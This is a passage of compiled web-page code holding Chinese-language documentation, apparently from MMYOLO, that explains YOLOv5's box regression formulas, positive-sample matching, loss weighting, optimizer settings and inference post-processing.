Bbox\uff0c\u8fd9\u5bf9\u5e94 Pred Bbox \u89e3\u7801\u8fc7\u7a0b\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5728 YOLOv3 \u4e2d\uff0c\u56de\u5f52\u516c\u5f0f\u4e3a\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"b_x=\\sigma(t_x)+c_x \\\\\nb_y=\\sigma(t_y)+c_y \\\\\nb_w=a_w\\cdot e^{t_w} \\\\\nb_h=a_h\\cdot e^{t_h} \\\\\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u516c\u5f0f\u4e2d\uff0c"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"a_w \u4ee3\u8868 Anchor \u7684\u5bbd\u5ea6 \\\\\nc_x \u4ee3\u8868 Grid \u6240\u5904\u7684\u5750\u6807 \\\\\n\\sigma \u4ee3\u8868 Sigmoid \u516c\u5f0f\u3002\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u800c\u5728 YOLOv5 \u4e2d\uff0c\u56de\u5f52\u516c\u5f0f\u4e3a\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"b_x=(2\\cdot\\sigma(t_x)-0.5)+c_x \\\\\nb_y=(2\\cdot\\sigma(t_y)-0.5)+c_y \\\\\nb_w=a_w\\cdot(2\\cdot\\sigma(t_w))^2 \\\\\nb_h=a_h\\cdot(2\\cdot\\sigma(t_h))^2\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u6539\u8fdb\u4e4b\u5904\u4e3b\u8981\u6709\u4ee5\u4e0b\u4e24\u70b9\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u4e2d\u5fc3\u70b9\u5750\u6807\u8303\u56f4\u4ece (0, 1) \u8c03\u6574\u81f3 (-0.5, 1.5)"}),"\n",(0,r.jsx)(e.li,{children:"\u5bbd\u9ad8\u8303\u56f4\u4ece"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"(0\uff0c+\\infty)\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8c03\u6574\u81f3"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"(0\uff0c4a_{wh})\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u6539\u8fdb\u5177\u6709\u4ee5\u4e0b\u597d\u5904\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:[(0,r.jsx)(e.strong,{children:"\u65b0\u7684\u4e2d\u5fc3\u70b9\u8bbe\u7f6e\u80fd\u66f4\u597d\u7684\u9884\u6d4b\u5230 0 \u548c 1"}),"\u3002\u8fd9\u6709\u52a9\u4e8e\u66f4\u7cbe\u51c6\u56de\u5f52\u51fa box \u5750\u6807\u3002"]}),"\n"]}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190546778-83001bac-4e71-4b9a-8de8-bd41146495af.png"}),"\n"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u5bbd\u9ad8\u56de\u5f52\u516c\u5f0f\u4e2d exp(x) \u662f\u65e0\u754c\u7684\uff0c\u8fd9\u4f1a\u5bfc\u81f4",(0,r.jsx)(e.strong,{children:"\u68af\u5ea6\u5931\u53bb\u63a7\u5236"}),"\uff0c\u9020\u6210\u8bad\u7ec3\u4e0d\u7a33\u5b9a\u3002YOLOv5 \u4e2d\u6539\u8fdb\u540e\u7684\u5bbd\u9ad8\u56de\u5f52\u516c\u5f0f\u4f18\u5316\u4e86\u6b64\u95ee\u9898\u3002"]}),"\n"]}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190546793-5364d6d3-7891-4af3-98e3-9f06970f3163.png"}),"\n"]}),"\n",(0,r.jsx)(e.h4,{id:"133-\u5339\u914d\u7b56\u7565",children:"1.3.3 \u5339\u914d\u7b56\u7565"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728 MMYOLO \u8bbe\u8ba1\u4e2d\uff0c\u65e0\u8bba\u7f51\u7edc\u662f Anchor-based \u8fd8\u662f Anchor-free\uff0c",(0,r.jsx)(e.strong,{children:"\u6211\u4eec\u7edf\u4e00\u4f7f\u7528 prior \u79f0\u547c Anchor"}),"\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u6b63\u6837\u672c\u5339\u914d\u5305\u542b\u4ee5\u4e0b\u4e24\u6b65\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"(1) \u201c\u6bd4\u4f8b\u201d\u6bd4\u8f83"})}),"\n",(0,r.jsx)(e.p,{children:"\u5c06 GT Bbox \u7684 WH \u4e0e Prior \u7684 WH \u8fdb\u884c\u201c\u6bd4\u4f8b\u201d\u6bd4\u8f83\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u6bd4\u8f83\u6d41\u7a0b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"r_w = w\\_{gt} / w\\_{pt} \\\\\nr_h = h\\_{gt} / h\\_{pt} \\\\\nr_w^{max}=max(r_w, 1/r_w) \\\\\nr_h^{max}=max(r_h, 1/r_h) \\\\\nr^{max}=max(r_w^{max}, r_h^{max}) \\\\\nif\\ \\ r_{max} < prior\\_match\\_thr: match!\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u5904\u6211\u4eec\u7528\u4e00\u4e2a GT Bbox \u4e0e P3 \u7279\u5f81\u56fe\u7684 Prior \u8fdb\u884c\u5339\u914d\u7684\u6848\u4f8b\u8fdb\u884c\u8bb2\u89e3\u548c\u56fe\u793a\uff1a"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190547195-60d6cd7a-b12a-4c6f-9cc8-13f48c8ab1e0.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"prior1 \u5339\u914d\u5931\u8d25\u7684\u539f\u56e0\u662f"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"h\\_{gt}\\ /\\ h\\_{prior}\\ =\\ 4.8\\ >\\ prior\\_match\\_thr\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"(2) \u4e3a\u6b65\u9aa4 1 \u4e2d match \u7684 GT \u5206\u914d\u5bf9\u5e94\u7684\u6b63\u6837\u672c"})}),"\n",(0,r.jsx)(e.p,{children:"\u4f9d\u7136\u6cbf\u7528\u4e0a\u9762\u7684\u4f8b\u5b50\uff1a"}),"\n",(0,r.jsx)(e.p,{children:"GT Bbox (cx, cy, w, h) \u503c\u4e3a (26, 37, 36, 24)\uff0c"}),"\n",(0,r.jsx)(e.p,{children:"Prior WH \u503c\u4e3a [(15, 5), (24, 16), (16, 24)]\uff0c\u5728 P3 \u7279\u5f81\u56fe\u4e0a\uff0cstride \u4e3a 8\u3002\u901a\u8fc7\u8ba1\u7b97\uff0cprior2 \u548c prior3 \u80fd\u591f match\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u8ba1\u7b97\u8fc7\u7a0b\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"(2.1) \u5c06 GT Bbox \u7684\u4e2d\u5fc3\u70b9\u5750\u6807\u5bf9\u5e94\u5230 P3 \u7684 grid \u4e0a"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"GT_x^{center_grid}=26/8=3.25 \\\\\nGT_y^{center_grid}=37/8=4.625\n"})}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190549304-020ec19e-6d54-4d40-8f43-f78b8d6948aa.png"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"(2.2)"})," \u5c06 GT Bbox \u4e2d\u5fc3\u70b9\u6240\u5728\u7684 grid \u5206\u6210\u56db\u4e2a\u8c61\u9650\uff0c",(0,r.jsx)(e.strong,{children:"\u7531\u4e8e\u4e2d\u5fc3\u70b9\u843d\u5728\u4e86\u5de6\u4e0b\u89d2\u7684\u8c61\u9650\u5f53\u4e2d\uff0c\u90a3\u4e48\u4f1a\u5c06\u7269\u4f53\u7684\u5de6\u3001\u4e0b\u4e24\u4e2a grid \u4e5f\u8ba4\u4e3a\u662f\u6b63\u6837\u672c"})]}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190549310-e5da53e3-eae3-4085-bd0a-1843ac8ca653.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4e0b\u56fe\u5c55\u793a\u4e2d\u5fc3\u70b9\u843d\u5230\u4e0d\u540c\u4f4d\u7f6e\u65f6\u7684\u6b63\u6837\u672c\u5206\u914d\u60c5\u51b5\uff1a"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190549613-eb47e70a-a2c1-4729-9fb7-f5ce7007842b.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48 YOLOv5 \u7684 Assign \u65b9\u5f0f\u5177\u4f53\u5e26\u6765\u4e86\u54ea\u4e9b\u6539\u8fdb\uff1f"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\n",(0,r.jsx)(e.p,{children:"\u4e00\u4e2a GT Bbox \u80fd\u591f\u5339\u914d\u591a\u4e2a Prior"}),"\n"]}),"\n",(0,r.jsxs)(e.li,{children:["\n",(0,r.jsx)(e.p,{children:"\u4e00\u4e2a GT Bbox \u548c\u4e00\u4e2aPrior \u5339\u914d\u65f6\uff0c\u80fd\u5206\u914d 1-3 \u4e2a\u6b63\u6837\u672c"}),"\n"]}),"\n",(0,r.jsxs)(e.li,{children:["\n",(0,r.jsxs)(e.p,{children:["\u4ee5\u4e0a\u7b56\u7565\u80fd",(0,r.jsx)(e.strong,{children:"\u9002\u5ea6\u7f13\u89e3\u76ee\u6807\u68c0\u6d4b\u4e2d\u5e38\u89c1\u7684\u6b63\u8d1f\u6837\u672c\u4e0d\u5747\u8861\u95ee\u9898"}),"\u3002"]}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u800c YOLOv5 \u4e2d\u7684\u56de\u5f52\u65b9\u5f0f\uff0c\u548c Assign \u65b9\u5f0f\u662f\u76f8\u4e92\u547c\u5e94\u7684\uff1a"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u4e2d\u5fc3\u70b9\u56de\u5f52\u65b9\u5f0f\uff1a"}),"\n"]}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190549684-21776c33-9ef8-4818-9530-14f750a18d63.png"}),"\n"]}),"\n",(0,r.jsxs)(e.ol,{start:"2",children:["\n",(0,r.jsx)(e.li,{children:"WH \u56de\u5f52\u65b9\u5f0f\uff1a"}),"\n"]}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190549696-3da08c06-753a-4108-be47-64495ea480f2.png"}),"\n"]}),"\n",(0,r.jsx)(e.h3,{id:"14-loss-\u8bbe\u8ba1",children:"1.4 Loss \u8bbe\u8ba1"}),"\n",(0,r.jsx)(e.p,{children:"YOLOv5 \u4e2d\u603b\u5171\u5305\u542b 3 \u4e2a Loss\uff0c\u5206\u522b\u4e3a\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"Classes loss\uff1a\u4f7f\u7528\u7684\u662f BCE loss"}),"\n",(0,r.jsx)(e.li,{children:"Objectness loss\uff1a\u4f7f\u7528\u7684\u662f BCE loss"}),"\n",(0,r.jsx)(e.li,{children:"Location loss\uff1a\u4f7f\u7528\u7684\u662f CIoU loss"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4e09\u4e2a loss \u6309\u7167\u4e00\u5b9a\u6bd4\u4f8b\u6c47\u603b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"Loss=\\lambda_1L_{cls}+\\lambda_2L_{obj}+\\lambda_3L_{loc}\n"})}),"\n",(0,r.jsx)(e.p,{children:"P3\u3001P4\u3001P5 \u5c42\u5bf9\u5e94\u7684 Objectness loss \u6309\u7167\u4e0d\u540c\u6743\u91cd\u8fdb\u884c\u76f8\u52a0\uff0c\u9ed8\u8ba4\u7684\u8bbe\u7f6e\u662f"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"obj_level_weights=[4., 1., 0.4]\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-{math}",children:"L_{obj}=4.0\\cdot L_{obj}^{small}+1.0\\cdot L_{obj}^{medium}+0.4\\cdot L_{obj}^{large}\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u590d\u73b0\u4e2d\u6211\u4eec\u53d1\u73b0 YOLOv5 \u4e2d\u4f7f\u7528\u7684 CIoU \u4e0e\u76ee\u524d\u6700\u65b0\u5b98\u65b9 CIoU \u5b58\u5728\u4e00\u5b9a\u7684\u5dee\u8ddd\uff0c\u5dee\u8ddd\u4f53\u73b0\u5728 alpha \u53c2\u6570\u7684\u8ba1\u7b97\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5b98\u65b9\u7248\u672c\uff1a"}),"\n",(0,r.jsxs)(e.p,{children:["\u53c2\u8003\u8d44\u6599\uff1a",(0,r.jsx)(e.a,{href:"https://github.com/Zzh-tju/CIoU/blob/master/layers/modules/multibox_loss.py#L53-L55",children:"https://github.com/Zzh-tju/CIoU/blob/master/layers/modules/multibox_loss.py#L53-L55"})]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"alpha = (ious > 0.5).float() * v / (1 - ious + v)\n"})}),"\n",(0,r.jsx)(e.p,{children:"YOLOv5 \u7248\u672c\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"alpha = v / (v - ious + (1 + eps))\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u662f\u4e00\u4e2a\u6709\u8da3\u7684\u7ec6\u8282\uff0c\u540e\u7eed\u9700\u8981\u6d4b\u8bd5\u4e0d\u540c alpha \u8ba1\u7b97\u65b9\u5f0f\u60c5\u51b5\u4e0b\u5e26\u6765\u7684\u7cbe\u5ea6\u5dee\u8ddd\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"15-\u4f18\u5316\u7b56\u7565\u548c\u8bad\u7ec3\u8fc7\u7a0b",children:"1.5 \u4f18\u5316\u7b56\u7565\u548c\u8bad\u7ec3\u8fc7\u7a0b"}),"\n",(0,r.jsx)(e.p,{children:"YOLOv5 \u5bf9\u6bcf\u4e2a\u4f18\u5316\u5668\u7684\u53c2\u6570\u7ec4\u8fdb\u884c\u975e\u5e38\u7cbe\u7ec6\u7684\u63a7\u5236\uff0c\u7b80\u5355\u6765\u8bf4\u5305\u62ec\u5982\u4e0b\u90e8\u5206\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"151-\u4f18\u5316\u5668\u5206\u7ec4",children:"1.5.1 \u4f18\u5316\u5668\u5206\u7ec4"}),"\n",(0,r.jsx)(e.p,{children:"\u5c06\u4f18\u5316\u53c2\u6570\u5206\u6210 Conv/Bias/BN \u4e09\u7ec4\uff0c\u5728 WarmUp \u9636\u6bb5\uff0c\u4e0d\u540c\u7ec4\u91c7\u7528\u4e0d\u540c\u7684 lr \u4ee5\u53ca momentum \u66f4\u65b0\u66f2\u7ebf\u3002\n\u540c\u65f6\u5728 WarmUp \u9636\u6bb5\u91c7\u7528\u7684\u662f iter-based \u66f4\u65b0\u7b56\u7565\uff0c\u800c\u5728\u975e WarmUp \u9636\u6bb5\u5219\u53d8\u6210 epoch-based \u66f4\u65b0\u7b56\u7565\uff0c\u53ef\u8c13\u662f trick \u5341\u8db3\u3002"}),"\n",(0,r.jsx)(e.p,{children:"MMYOLO \u4e2d\u662f\u91c7\u7528 YOLOv5OptimizerConstructor \u4f18\u5316\u5668\u6784\u9020\u5668\u5b9e\u73b0\u4f18\u5316\u5668\u53c2\u6570\u5206\u7ec4\u3002\u4f18\u5316\u5668\u6784\u9020\u5668\u7684\u4f5c\u7528\u5c31\u662f\u5bf9\u4e00\u4e9b\u7279\u6b8a\u7684\u53c2\u6570\u7ec4\u521d\u59cb\u5316\u8fc7\u7a0b\u8fdb\u884c\u7cbe\u7ec6\u5316\u63a7\u5236\uff0c\u56e0\u6b64\u53ef\u4ee5\u5f88\u597d\u7684\u6ee1\u8db3\u9700\u6c42\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u800c\u4e0d\u540c\u7684\u53c2\u6570\u7ec4\u91c7\u7528\u4e0d\u540c\u7684\u8c03\u5ea6\u66f2\u7ebf\u529f\u80fd\u5219\u662f\u901a\u8fc7 YOLOv5ParamSchedulerHook \u5b9e\u73b0\u3002\u800c\u4e0d\u540c\u7684\u53c2\u6570\u7ec4\u91c7\u7528\u4e0d\u540c\u7684\u8c03\u5ea6\u66f2\u7ebf\u529f\u80fd\u5219\u662f\u901a\u8fc7 YOLOv5ParamSchedulerHook \u5b9e\u73b0\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"152-weight-decay-\u53c2\u6570\u81ea\u9002\u5e94",children:"1.5.2 weight decay \u53c2\u6570\u81ea\u9002\u5e94"}),"\n",(0,r.jsx)(e.p,{children:"\u4f5c\u8005\u9488\u5bf9\u4e0d\u540c\u7684 batch size \u91c7\u7528\u4e86\u4e0d\u540c\u7684 weight decay \u7b56\u7565\uff0c\u5177\u4f53\u6765\u8bf4\u4e3a\uff1a"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u5f53\u8bad\u7ec3 batch size <= 64 \u65f6\uff0cweight decay \u4e0d\u53d8"}),"\n",(0,r.jsx)(e.li,{children:"\u5f53\u8bad\u7ec3 batch size > 64 \u65f6\uff0cweight decay \u4f1a\u6839\u636e\u603b batch size \u8fdb\u884c\u7ebf\u6027\u7f29\u653e"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"MMYOLO \u4e5f\u662f\u901a\u8fc7 YOLOv5OptimizerConstructor \u5b9e\u73b0\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"153-\u68af\u5ea6\u7d2f\u52a0",children:"1.5.3 \u68af\u5ea6\u7d2f\u52a0"}),"\n",(0,r.jsx)(e.p,{children:"\u4e3a\u4e86\u6700\u5927\u5316\u4e0d\u540c batch size \u60c5\u51b5\u4e0b\u7684\u6027\u80fd\uff0c\u4f5c\u8005\u8bbe\u7f6e\u603b batch size \u5c0f\u4e8e 64 \u65f6\u5019\u4f1a\u81ea\u52a8\u5f00\u542f\u68af\u5ea6\u7d2f\u52a0\u529f\u80fd\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u8bad\u7ec3\u8fc7\u7a0b\u548c\u5927\u90e8\u5206 YOLO \u7c7b\u4f3c\uff0c\u5305\u62ec\u5982\u4e0b\u7b56\u7565\uff1a"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u6ca1\u6709\u4f7f\u7528\u9884\u8bad\u7ec3\u6743\u91cd"}),"\n",(0,r.jsx)(e.li,{children:"\u6ca1\u6709\u91c7\u7528\u591a\u5c3a\u5ea6\u8bad\u7ec3\u7b56\u7565\uff0c\u540c\u65f6\u53ef\u4ee5\u5f00\u542f cudnn.benchmark \u8fdb\u4e00\u6b65\u52a0\u901f\u8bad\u7ec3"}),"\n",(0,r.jsx)(e.li,{children:"\u4f7f\u7528\u4e86 EMA \u7b56\u7565\u5e73\u6ed1\u6a21\u578b"}),"\n",(0,r.jsx)(e.li,{children:"\u9ed8\u8ba4\u91c7\u7528 AMP \u81ea\u52a8\u6df7\u5408\u7cbe\u5ea6\u8bad\u7ec3"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u9700\u8981\u7279\u610f\u8bf4\u660e\u7684\u662f\uff1aYOLOv5 \u5b98\u65b9\u5bf9\u4e8e small \u6a21\u578b\u662f\u91c7\u7528\u5355\u5361 v100 \u8bad\u7ec3\uff0cbs \u4e3a 128\uff0c\u800c m/l/x \u7b49\u662f\u91c7\u7528\u4e0d\u540c\u6570\u76ee\u7684\u591a\u5361\u5b9e\u73b0\u7684\uff0c\n\u8fd9\u79cd\u8bad\u7ec3\u7b56\u7565\u4e0d\u592a\u89c4\u8303\uff0c",(0,r.jsx)(e.strong,{children:"\u4e3a\u6b64\u5728 MMYOLO \u4e2d\u5168\u90e8\u91c7\u7528\u4e86 8 \u5361\uff0c\u6bcf\u5361 16 bs \u7684\u8bbe\u7f6e\uff0c\u540c\u65f6\u4e3a\u4e86\u907f\u514d\u6027\u80fd\u5dee\u5f02\uff0c\u8bad\u7ec3\u65f6\u5019\u5f00\u542f\u4e86 SyncBN"}),"\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"16-\u63a8\u7406\u548c\u540e\u5904\u7406\u8fc7\u7a0b",children:"1.6 \u63a8\u7406\u548c\u540e\u5904\u7406\u8fc7\u7a0b"}),"\n",(0,r.jsx)(e.p,{children:"YOLOv5 \u540e\u5904\u7406\u8fc7\u7a0b\u548c YOLOv3 \u975e\u5e38\u7c7b\u4f3c\uff0c\u5b9e\u9645\u4e0a YOLO \u7cfb\u5217\u7684\u540e\u5904\u7406\u903b\u8f91\u90fd\u662f\u7c7b\u4f3c\u7684\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"161-\u6838\u5fc3\u63a7\u5236\u53c2\u6570",children:"1.6.1 \u6838\u5fc3\u63a7\u5236\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"multi_label"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u5bf9\u4e8e\u591a\u7c7b\u522b\u9884\u6d4b\u6765\u8bf4\u9700\u8981\u8003\u8651\u662f\u5426\u662f\u591a\u6807\u7b7e\u4efb\u52a1\uff0c\u4e5f\u5c31\u662f\u540c\u4e00\u4e2a\u9884\u6d4b\u4f4d\u7f6e\u4f1a\u9884\u6d4b\u7684\u591a\u4e2a\u7c7b\u522b\u6982\u7387\uff0c\u548c\u662f\u5426\u5f53\u4f5c\u5355\u7c7b\u5904\u7406\u3002\u56e0\u4e3a YOLOv5 \u91c7\u7528 sigmoid \u9884\u6d4b\u6a21\u5f0f\uff0c\u5728\u8003\u8651\u591a\u6807\u7b7e\u60c5\u51b5\u4e0b\u53ef\u80fd\u4f1a\u51fa\u73b0\u4e00\u4e2a\u7269\u4f53\u68c0\u6d4b\u51fa\u4e24\u4e2a\u4e0d\u540c\u7c7b\u522b\u7684\u6846\uff0c\u8fd9\u6709\u52a9\u4e8e\u8bc4\u4f30\u6307\u6807 mAP\uff0c\u4f46\u662f\u4e0d\u5229\u4e8e\u5b9e\u9645\u5e94\u7528\u3002\n\u56e0\u6b64\u5728\u9700\u8981\u7b97\u8bc4\u4f30\u6307\u6807\u65f6\u5019 multi_label \u662f True\uff0c\u800c\u63a8\u7406\u6216\u8005\u5b9e\u9645\u5e94\u7528\u65f6\u5019\u662f False"}),"\n",(0,r.jsxs)(e.ol,{start:"2",children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"score_thr \u548c nms_thr"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"score_thr \u9608\u503c\u7528\u4e8e\u8fc7\u6ee4\u7c7b\u522b\u5206\u503c\uff0c\u4f4e\u4e8e\u5206\u503c\u7684\u68c0\u6d4b\u6846\u5f53\u505a\u80cc\u666f\u5904\u7406\uff0cnms_thr \u662f nms \u65f6\u9608\u503c\u3002\u540c\u6837\u7684\uff0c\u5728\u8ba1\u7b97\u8bc4\u4f30\u6307\u6807 mAP \u9636\u6bb5\u53ef\u4ee5\u5c06 score_thr \u8bbe\u7f6e\u7684\u975e\u5e38\u4f4e\uff0c\u8fd9\u901a\u5e38\u80fd\u591f\u63d0\u9ad8\u53ec\u56de\u7387\uff0c\u4ece\u800c\u63d0\u5347 mAP\uff0c\u4f46\u662f\u5bf9\u4e8e\u5b9e\u9645\u5e94\u7528\u6765\u8bf4\u6ca1\u6709\u610f\u4e49\uff0c\u4e14\u4f1a\u5bfc\u81f4\u63a8\u7406\u8fc7\u7a0b\u6781\u6162\u3002\u4e3a\u6b64\u5728\u6d4b\u8bd5\u548c\u63a8\u7406\u9636\u6bb5\u4f1a\u8bbe\u7f6e\u4e0d\u540c\u7684\u9608\u503c"}),"\n",(0,r.jsxs)(e.ol,{start:"3",children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"nms_pre \u548c max_per_img"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"nms_pre \u8868\u793a nms \u524d\u7684\u6700\u5927\u4fdd\u7559\u68c0\u6d4b\u6846\u6570\u76ee\uff0c\u8fd9\u901a\u5e38\u662f\u4e3a\u4e86\u9632\u6b62 nms \u8fd0\u884c\u65f6\u5019\u8f93\u5165\u6846\u8fc7\u591a\u5bfc\u81f4\u901f\u5ea6\u8fc7\u6162\u95ee\u9898\uff0c\u9ed8\u8ba4\u503c\u662f 30000\u3002\nmax_per_img \u8868\u793a\u6700\u7ec8\u4fdd\u7559\u7684\u6700\u5927\u68c0\u6d4b\u6846\u6570\u76ee\uff0c\u901a\u5e38\u8bbe\u7f6e\u4e3a 300\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee5 COCO 80 \u7c7b\u4e3a\u4f8b\uff0c\u5047\u8bbe\u8f93\u5165\u56fe\u7247\u5927\u5c0f\u4e3a 640x640"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/17425982/192942249-96b0fcfb-059f-48fe-862f-7d526a3a06d7.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u63a8\u7406\u548c\u540e\u5904\u7406\u8fc7\u7a0b\u4e3a\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"(1) \u7ef4\u5ea6\u53d8\u6362"})}),"\n",(0,r.jsx)(e.p,{children:"YOLOv5 \u8f93\u51fa\u7279\u5f81\u56fe\u5c3a\u5ea6\u4e3a 80x80\u300140x40 \u548c 20x20 \u7684\u4e09\u4e2a\u7279\u5f81\u56fe\uff0c\u6bcf\u4e2a\u4f4d\u7f6e\u5171 3 \u4e2a anchor\uff0c\u56e0\u6b64\u8f93\u51fa\u7279\u5f81\u56fe\u901a\u9053\u4e3a 3x(5+80)=255\u3002\nYOLOv5 \u662f\u975e\u89e3\u8026\u8f93\u51fa\u5934\uff0c\u800c\u5176\u4ed6\u5927\u90e8\u5206\u7b97\u6cd5\u90fd\u662f\u89e3\u8026\u8f93\u51fa\u5934\uff0c\u4e3a\u4e86\u7edf\u4e00\u540e\u5904\u7406\u903b\u8f91\uff0c\u6211\u4eec\u63d0\u524d\u5c06\u5176\u8fdb\u884c\u89e3\u8026\uff0c\u5206\u6210\u4e86\u7c7b\u522b\u9884\u6d4b\u5206\u652f\u3001bbox \u9884\u6d4b\u5206\u652f\u548c obj \u9884\u6d4b\u5206\u652f\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5c06\u4e09\u4e2a\u4e0d\u540c\u5c3a\u5ea6\u7684\u7c7b\u522b\u9884\u6d4b\u5206\u652f\u3001bbox \u9884\u6d4b\u5206\u652f\u548c obj \u9884\u6d4b\u5206\u652f\u8fdb\u884c\u62fc\u63a5\uff0c\u5e76\u8fdb\u884c\u7ef4\u5ea6\u53d8\u6362\u3002\u4e3a\u4e86\u540e\u7eed\u65b9\u4fbf\u5904\u7406\uff0c\u4f1a\u5c06\u539f\u5148\u7684\u901a\u9053\u7ef4\u5ea6\u7f6e\u6362\u5230\u6700\u540e\uff0c\u7c7b\u522b\u9884\u6d4b\u5206\u652f\u3001bbox \u9884\u6d4b\u5206\u652f\u548c obj \u9884\u6d4b\u5206\u652f\u7684 shape \u5206\u522b\u4e3a (b, 3x80x80+3x40x40+3x20x20, 80)=(b,25200,80)\uff0c(b,25200,4)\uff0c(b,25200,1)\u3002"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"(2) \u89e3\u7801\u8fd8\u539f\u5230\u539f\u56fe\u5c3a\u5ea6"})}),"\n",(0,r.jsx)(e.p,{children:"\u5206\u7c7b\u9884\u6d4b\u5206\u652f\u548c obj \u5206\u652f\u9700\u8981\u8fdb\u884c sigmoid \u8ba1\u7b97\uff0c\u800c bbox 